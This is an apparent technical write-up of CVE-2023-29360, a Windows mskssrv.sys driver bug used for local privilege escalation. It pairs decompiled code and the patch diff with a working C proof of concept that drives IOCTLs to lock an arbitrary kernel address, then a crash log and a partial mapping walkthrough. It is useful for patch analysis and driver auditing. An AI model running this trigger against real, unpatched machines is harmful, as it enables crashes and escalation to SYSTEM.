The bug is a missing access-mode check. FsAllocAndLockMdl calls MmProbeAndLockPages with AccessMode set to KernelMode(0). In MiProbeAndLockPrepare, the range check that rejects addresses at or above 0x7FFFFFFF0000 and empty or reversed ranges only runs when AccessMode is non-zero. Because the address and size passed to FsAllocAndLockMdl come straight from the user-supplied frame data copied into the kernel buffer, a user-mode caller can lock pages over kernel addresses. The MDL is then inserted into the stream's published list and later mapped by FSFrameMdl::MapPages, turning the lock into a mapping the caller can read and write through.
Impact
An attacker who can open the mskssrv.sys device and issue the IOCTLs described above can obtain an arbitrary kernel read/write primitive from a normal user context, and from there elevate to SYSTEM. In the demonstrated chain this is the step that takes the attacker from user to SYSTEM before pivoting into the VMware vulnerability. The report does not state which Windows versions or configurations are affected; the only version detail it gives is the two ntoskrnl.exe builds used for the patch comparison.
Fix
The patch changes the access mode passed to MmProbeAndLockPages from KernelMode(0) to UserMode(1):
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
- MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode
*mdl_object = Alloc_Mdl;
return 0;
}
With UserMode, MmProbeAndLockPages checks that the address lies in user memory space, that is below 0x7FFFFFFF0000, so kernel addresses supplied by the caller are rejected.
Variants to test
- Audit other kernel drivers that call
MmProbeAndLockPageswith a hard-codedKernelModeaccess mode while the address and size originate from a user request. A positive result is a driver where a user-controlled address reachesIoAllocateMdlandMmProbeAndLockPageswithout an intervening probe, and where the resulting MDL is later mapped back to user-visible memory. - Look for IOCTL handlers that copy a fixed-size user structure into a kernel object and then use fields from that copy as allocation arguments, as
FSFrameMdl::AllocateMdldoes with the0x88-byte copy. A positive result is a field that reaches an address or length parameter without validation. - Check drivers that keep per-file state in
FsContext2and gate operations on membership in a server object. A positive result is a path where a second handle to the same device bypasses a one-time initialisation check, as withRegisterStreamrequiring a fresh file object. - Review MDL lifetime handling around publish and consume queues: an MDL locked over an attacker-chosen address and later mapped by a separate IOCTL is the pattern to look for. A positive result is a mapped address returned to the caller in an output buffer, as at offset
0x48here.
What happened, in plain words
This is the third part of a series about a chain of bugs that Theori used in a demonstration posted on X. A chain means several separate weaknesses, each one used to get a bit further, like a set of keys where one opens the door to the room that holds the next key. This part covers the step that takes an ordinary user on a Windows machine up to SYSTEM, the highest local account on the computer, so that the chain can then move on to a VMware bug.
The bug is CVE-2023-29360, which the authors call a logic bug in a driver called mskssrv.sys. A driver is a small program that runs inside the operating system kernel, the most privileged part of the machine, and talks to hardware or provides a service to other programs. This particular driver handles streaming data, for example video coming from a camera. Because it runs in the kernel, a mistake in it can be far more serious than a mistake in a normal application.
The bug was used by @Synacktiv at Pwn2Own 2023 Vancouver, a well-known security contest. It was patched in June, and Fermium-252, Theori's threat intelligence service, has had both a proof of concept (a small program that just shows the bug exists) and a full exploit for it since July 2023.

The idea you need first: memory and MDLs
Before the bug makes sense, you need one concept: the Memory Descriptor List, or MDL. Here is the everyday comparison. Imagine a long book that has been printed on loose sheets of paper, and the sheets have been shuffled and stored in different drawers around a room. If you want to read the book from start to finish, you need a note that says: sheet 1 is in drawer 4, sheet 2 is in drawer 9, and so on. The MDL is that note. It is a small structure that records where each piece of a block of memory physically lives.
Microsoft's own documentation, quoted in the report, puts it this way:
An I/O buffer that spans a range of contiguous virtual memory addresses can be spread over several physical pages, and these pages can be discontiguous.The operating system uses a memory descriptor list (MDL) to describe the physical page layout for a virtual memory buffer.
In plain words: programs see memory as one smooth continuous stretch (virtual memory), but underneath, the hardware stores it in separate chunks (physical pages) that need not sit next to each other. The MDL is the map between the two views.
In the kernel debugger WinDbg, the structure looks like this:
0: kd> dt _MDL
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
Line by line: Next links MDLs into a list. Size and MdlFlags describe the structure and its state. AllocationProcessorNumber and Reserved are bookkeeping. Process points at the process that owns the memory. MappedSystemVa is the address where the kernel has mapped the memory so it can be reached. StartVa is the starting virtual address the MDL describes. ByteCount is how many bytes it covers, and ByteOffset is where inside the first page the range begins.
Two of these fields matter most. MappedSystemVa only becomes valid after the memory has been locked and then mapped, through two kernel functions called MmProbeAndLockPages and MmMapLockedPagesSpecifyCache. And the physical page address is stored at the very end of the _MDL structure, after the fields listed above.
The normal way to use an MDL is shown here:
PMDL pMDL = NULL;
pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);
__try
{
MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(pMDL);
return;
}
PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);
Line by line: IoAllocateMdl creates an empty MDL for a given address and size. MmProbeAndLockPages then checks the address and pins the physical pages in place so they cannot be moved or freed while in use; the __try/__except wrapper means that if the check fails, the code frees the MDL and gives up instead of crashing. Finally MmMapLockedPagesSpecifyCache gives the kernel a virtual address through which those same physical pages can be read and written. The AccessMode argument tells the kernel whether the address came from a user program or from the kernel itself, and that detail is the heart of this whole story.
To show what a real MDL looks like, the report dumps a live one:
0: kd> dt _MDL ffffe78fc266bb30
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n139
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff8001`b72b1008 Void // Mapped Address
+0x020 StartVa : 0xffffc082`b38e3000 Void // Virtual Address
+0x028 ByteCount : 0x1008
+0x02c ByteOffset : 8 // Offset
0: kd> dq ffffe78fc266bb30 L8
ffffe78f`c266bb30 00000000`00000000 00000001`008b0040
ffffe78f`c266bb40 00000000`00000000 ffff8001`b72b1008
ffffe78f`c266bb50 ffffc082`b38e3000 00000008`00001008
ffffe78f`c266bb60 00000000`00229647 00000000`00220448
^^^^^^^^^^^^^^^^^
Physical Page Address
0: kd> db 0xffffc082`b38e3000 + 8
ffffc082`b38e3008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffffc082`b38e3018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffffc082`b38e3028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffffc082`b38e3038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffffc082`b38e3048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffffc082`b38e3058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffffc082`b38e3068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffffc082`b38e3078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> !db 00229647*1000 + 8
#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> db 0xffff8001`b72b1008
ffff8001`b72b1008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffff8001`b72b1018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffff8001`b72b1028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffff8001`b72b1038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffff8001`b72b1048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffff8001`b72b1058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffff8001`b72b1068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffff8001`b72b1078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
Line by line: the first command prints the MDL fields, showing the mapped address, the virtual address, the byte count and the offset. The dq command prints the raw bytes of the structure, and the caret marks the physical page address at the end. The three db commands then read the same bytes three different ways: through the virtual address, through the physical address, and through the mapped address. All three show identical data, which proves that the MDL really does tie the physical and virtual views of the same memory together.
Getting to the driver
A normal program cannot call kernel functions directly. It talks to a driver through a device, and it sends requests through an API called DeviceIoControl. An API is simply a documented way for one program to ask another piece of software to do something, like a service counter where you hand over a form. Each request carries a number called an IOCTL code, which tells the driver which operation you want, a bit like choosing option 3 on a menu.
To find the device to talk to, the authors looked at FrameServer, the Windows service that handles streaming data. Inside its service DLL, FrameService.dll, they found the code that opens the driver:
__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle)
{
...
result = CM_Get_Device_Interface_ListW(&[redacted], 0i64, buffer, bufferlen, 0);
if ( !result && *buffer)
{
handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
if ( handle != (HANDLE)-1i64 )
{
*phandle = handle;
result = 0i64;
}
...
}
Line by line: CM_Get_Device_Interface_ListW asks Windows for the list of device paths that match a given identifier (the GUID). If it succeeds and the list is not empty, CreateFileW opens that device, the same way a program opens a file, and stores the resulting handle. A handle is just a reference the program keeps so it can talk to that device again later.
From this code, the device path is:
\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
When a program sends a DeviceIoControl request to this device, the driver's entry function mskssrv!SrvDispatchIoControl runs. The report compares two builds of ntoskrnl.exe(x64), versions 10.0.19041.2913 and 10.0.19041.3086, to see what changed in the fix.
Step 1: reaching the vulnerable handler
SrvDispatchIoControl looks at the IOCTL code in the request and jumps to the matching operation. Two of its cases matter here: code 0x2F0408 calls FSRendezvousServer::PublishTx, and code 0x2F0410 calls FSRendezvousServer::ConsumeTx.
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp);
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp);
FSRendezvousServer::Release(RendezvousServerObj);
}
...
Line by line: the function reads the IOCTL code from the request. For 0x2F0408 it takes a lock (a mutex, which stops two threads doing the same thing at once), fetches the shared server object, calls PublishTx, and releases the object. For 0x2F0410 it does the same but calls ConsumeTx. "Publish" and "consume" are the two halves of a queue: one side puts a frame in, the other takes it out.
FSRendezvousServer::PublishTx then calls FSStreamReg::PublishTx:
__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
if ( result < 0 )
return result;
for ( idx = 0; idx < *(data + 0x24); ++idx )
{
offset = 0x88i64 * idx;
if ( *(offset + data + 0x70) )
{
buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
if ( buffer )
{
*(buffer + 16) = 0;
*(buffer + 208) = 0;
memset((buffer + 24), 0, 0xB8ui64);
}
else
{
return 0xC000009A;
}
result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
if ( result < 0 )
{
}
FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
...
}
}
...
}
Line by line: CheckRecycle validates the incoming data. The loop runs as many times as the count stored at data+0x24, which the caller controls. For each iteration it checks a flag at data+0x70; if the flag is set, it allocates a fresh kernel buffer with operator new, zeroes parts of it, and calls FSFrameMdl::AllocateMdl with a pointer into the user-supplied data. The resulting MDL is then added to the published list inside the stream object with InsertTail. In short: the user says how many frames to publish, and each frame gets an MDL built from user data.
Step 2: the vulnerable allocation
FSFrameMdl::AllocateMdl copies the user data into the kernel buffer and then calls FsAllocAndLockMdl with arguments taken straight from that data:
__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
HandleInformation = 0i64;
Object = 0i64;
memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
mapflag = *(user_data + 0x48);
if ( !mapflag )
{
}
switch(mapflag){
case 4:
case 8:
result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);
if(result < 0){
}
case 1:
result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);
if(result < 0){
}
...
}
...
}
Line by line: memcpy copies 0x88 bytes of user data into the kernel object. The flag at user_data + 0x48 decides which branch runs. For flags 4 and 8, the address comes from user_data + 0x20 and the size from user_data + 0x34. For flag 1, the address comes from user_data + 0x38 and the size from user_data + 0x44. In every case, both values are chosen by the user.
Those values land in FsAllocAndLockMdl:
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
*mdl_object = Alloc_Mdl;
return 0;
}
Line by line: it rejects a null address, a zero size or a null output pointer. It creates the MDL with IoAllocateMdl, then locks it with MmProbeAndLockPages. The second argument is the access mode, and here it is 0, which means KernelMode. The third argument, IoWriteAccess, says the memory will be written to. The finished MDL is handed back through mdl_object.
The problem is what MmProbeAndLockPages does with that access mode. Internally it calls MiProbeAndLockPrepare:
__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag)
{
v8 = is_read;
v10 = address + size;
*(_QWORD *)(buffer + 72) = KeGetCurrentThread();
v56 = 0;
*(_QWORD *)(buffer + 56) = MemoryDescriptorList;
*(_DWORD *)(buffer + 88) = is_read;
*(_QWORD *)buffer = address;
*(_QWORD *)(buffer + 8) = address + size;
if ( AccessMode ){
if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )
{
++dword_140C4E5F8;
return 0xC0000005;
}
}
...
}
Line by line: the function records the current thread, the MDL, and the start and end of the range. Then comes the crucial if ( AccessMode ). The safety check only runs when the access mode is not zero. That check rejects any range that ends above 0x7FFFFFFF0000 (the boundary of user memory) or that is empty or reversed. When the access mode is KernelMode(0), the whole check is skipped.
So a normal user program can ask the driver to lock pages over any address it likes, including addresses that belong to the kernel. That is the bug.
Step 3: satisfying the preconditions
A few conditions must hold before the vulnerable code is reached.
FSGetRendezvousServermust return the server object without an error. That object comes from a global variable,ServerObj_1C0005048, which is created byFSInitializeContextRendezvous, reachable with IOCTL0x2F0400:
__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
result = 0;
if ( ServerObj_1C0005048 )
{
*RendezvousServerObjPtr = ServerObj_1C0005048;
_InterlockedIncrement(ServerObj_1C0005048);
}
else
{
result = 0xC0000010;
}
KeReleaseMutex(&Mutex, 0);
return v2;
}
Line by line: if the global object exists, it is copied to the caller's pointer and its reference count is increased, so it will not be freed while in use. If it does not exist, an error is returned. Either way the mutex is released.
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
}
ServerObj_1C0005048 = RendezvousServerObj;
...
}
Line by line: this allocates the server object and stores it in the global variable, so later requests can find it.
FSRendezvousServer::PublishTxchecks the input length and counts, then requiresFSRendezvousServer::FindObjectto find the file'sFsContext2value in the server before it callsFSStreamReg::PublishTx:
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
data = (__int64)irp->AssociatedIrp.MasterIrp;
if ( !data )
return 0xC000000D;
inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
if ( (unsigned int)inputbufferlen < 0xB0 )
return 0xC000000D;
cnt = *(_DWORD *)(data + 0x20);
if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )
return 0xC000000D;
FSRendezvousServer::Lock(this);
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);
result = FSStreamReg::PublishTx(FsContext2, data);
Line by line: it rejects a missing data pointer, a buffer shorter than 0xB0 bytes, a count that is too large, a second count larger than the first, or a buffer too small for the declared count. These checks are easy to pass because the caller controls all the values. It then looks up the per-file value FsContext2 in the server; only if that lookup succeeds does it call FSStreamReg::PublishTx. Because FsContext2 is used as the this pointer for that call, it must be an FSStreamReg object.
- That object is created by
FSRendezvousServer::InitializeStream, reachable with IOCTL0x2F0404, which stores the new object inobj->FileObject->FsContext2:
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
obj = irp->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )
{
result = 0xC0000010;
}
else
{
data = (__int64)irp->AssociatedIrp.MasterIrp;
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer);
if ( !FSStreamReg_obj )
return 0xC000009A;
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...
Line by line: it refuses to run unless the IOCTL is 0x2F0404 and the file does not already have an FsContext2 value. It allocates a new stream object, initialises it (with a feature flag choosing between two code paths), and saves it in the file object so later requests on the same handle can find it. The reference count is increased so it stays alive.
Step 4: triggering the bug
The smallest proof of concept opens the device, creates the server object, creates a stream, and then publishes a frame whose MDL is built over an arbitrary kernel address:
#include <windows.h>
#include <winternl.h>
#include <cfgmgr32.h>
#include <stdio.h>
#pragma comment(lib, "Cfgmgr32.lib")
#define inputsize 0x100
#define outputsize 0x100
int main() {
WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = 0;
*(DWORD64*)(inputBuffer + 0x10) = 0;
*(DWORD64*)(inputBuffer + 0x18) = 0;
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444;
*(DWORD*)(inputBuffer + 0x1C) = 4;
*(DWORD*)(inputBuffer + 0x20) = 0x4000;
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL);
ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
ULONG_PTR targetaddr = 0xffffffff00031337;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1;
*(DWORD*)(inputBuffer + 0x24) = 1;
*(DWORD*)(inputBuffer + 0x28) = 1;
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000;
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000;
*(DWORD64*)(inputBuffer + 0x70) = 0x8;
ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
}
Line by line: the program includes the Windows headers it needs and defines a 0x100-byte input and output buffer. It opens the device path found earlier. It allocates and clears both buffers. The first DeviceIoControl with code 0x2F0400 creates the rendezvous server. The second, with code 0x2F0404, creates the stream, filling in the process ID, a marker value, a count, a size and an event handle. The third, with code 0x2F0408, is the trigger: it sets the counts at 0x20 and 0x24 to 1, sets the map flag at 0x70, and places the target address and size at the offsets that FSFrameMdl::AllocateMdl reads. The target address 0xffffffff00031337 is a kernel address supplied by the caller.
The result is a crash, because the kernel faults while trying to touch that bogus address:
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180
rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337
r14=0000000000000000 r15=ffff850b8e13a080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`1f805240 cc int 3
...
0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff800`1f9162f2 : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 fffff800`1f9158d6 : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`1f7fbda7 : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x946
03 fffff800`1f84ac53 : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x107
04 fffff800`1f66e7b0 : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b2273
05 fffff800`1f716f3c : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x400
06 fffff800`1f66c9b7 : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc
07 fffff800`1f66bcd3 : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b7
08 fffff800`1f66aa59 : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x153
09 fffff800`3e402c98 : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x29
0a fffff800`3e40b824 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x64
0b fffff800`3e40c63d : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x14
0c fffff800`3e40a7e9 : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d
0d fffff800`3e409513 : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd
0e fffff800`27e7dddc : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143
...
Line by line: the first lines report a fatal system error, a bugcheck with code 0x00000050, which is the code Windows uses for a page fault it cannot handle. The register dump shows 0xffffffff00031337 in the r13 register. The kb command prints the call stack, the list of functions that were running when the crash happened, read from bottom to top: SrvDispatchIoControl called FSRendezvousServer::PublishTx, which called FSStreamReg::PublishTx, which called FSFrameMdl::AllocateMdl, which called FsAllocAndLockMdl, which called MmProbeAndLockPages, and the fault happened inside the kernel's page-locking code. That stack is the proof that the user's address reached the vulnerable function.
Step 5: mapping the manipulated MDL
Locking an arbitrary address is only half of what is needed. To actually read and write through it, the manipulated MDL must be mapped. FSFrameMdl::MapPages does the mapping, and it is reachable from FSRendezvousServer::ConsumeTx, which is called with IOCTL 0x2F0410 and calls FSStreamReg::ConsumeTx internally:
__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
if ( !data || !*(_DWORD *)(data + 0x20) )
return (unsigned int)-1073741811;
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()
&& (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )
{
return 0xC0000466;
}
*(_DWORD *)(data + 0x24) = 0;
list = (_QWORD *)(FsStreamReg + 0x110);
if ( (_QWORD *)*list != list )
{
while ( 1 )
{
FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
...
result = FSFrameMdl::MapPages(
FsFrameMdl,
*(struct _EPROCESS **)(FsStreamReg + 0x38),
*(struct _EPROCESS **)(FsStreamReg + 0x40),
(struct FSMemoryStream *)(136 * v10 + data + 0x28));
...
FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
...
}
Line by line: it rejects a missing data pointer or a zero count. If the feature flag is on, it also requires the two flags at FsStreamReg + 0x28 and FsStreamReg + 0x2C to be set. It then walks the published list, takes the first frame off with RemoveHead, and calls FSFrameMdl::MapPages on it, passing the stream's process pointers and a pointer into the user data. The frame is then moved to a second list. The frame it takes is the one holding the manipulated MDL.
Those two flags must both be set. They are set in FSStreamReg::Initialize and FSStreamReg::Register respectively:
__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
...
*(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;
*(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);
*(_DWORD *)(FsStreamReg + 152) = 1;
*(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);
*(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);
*(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);
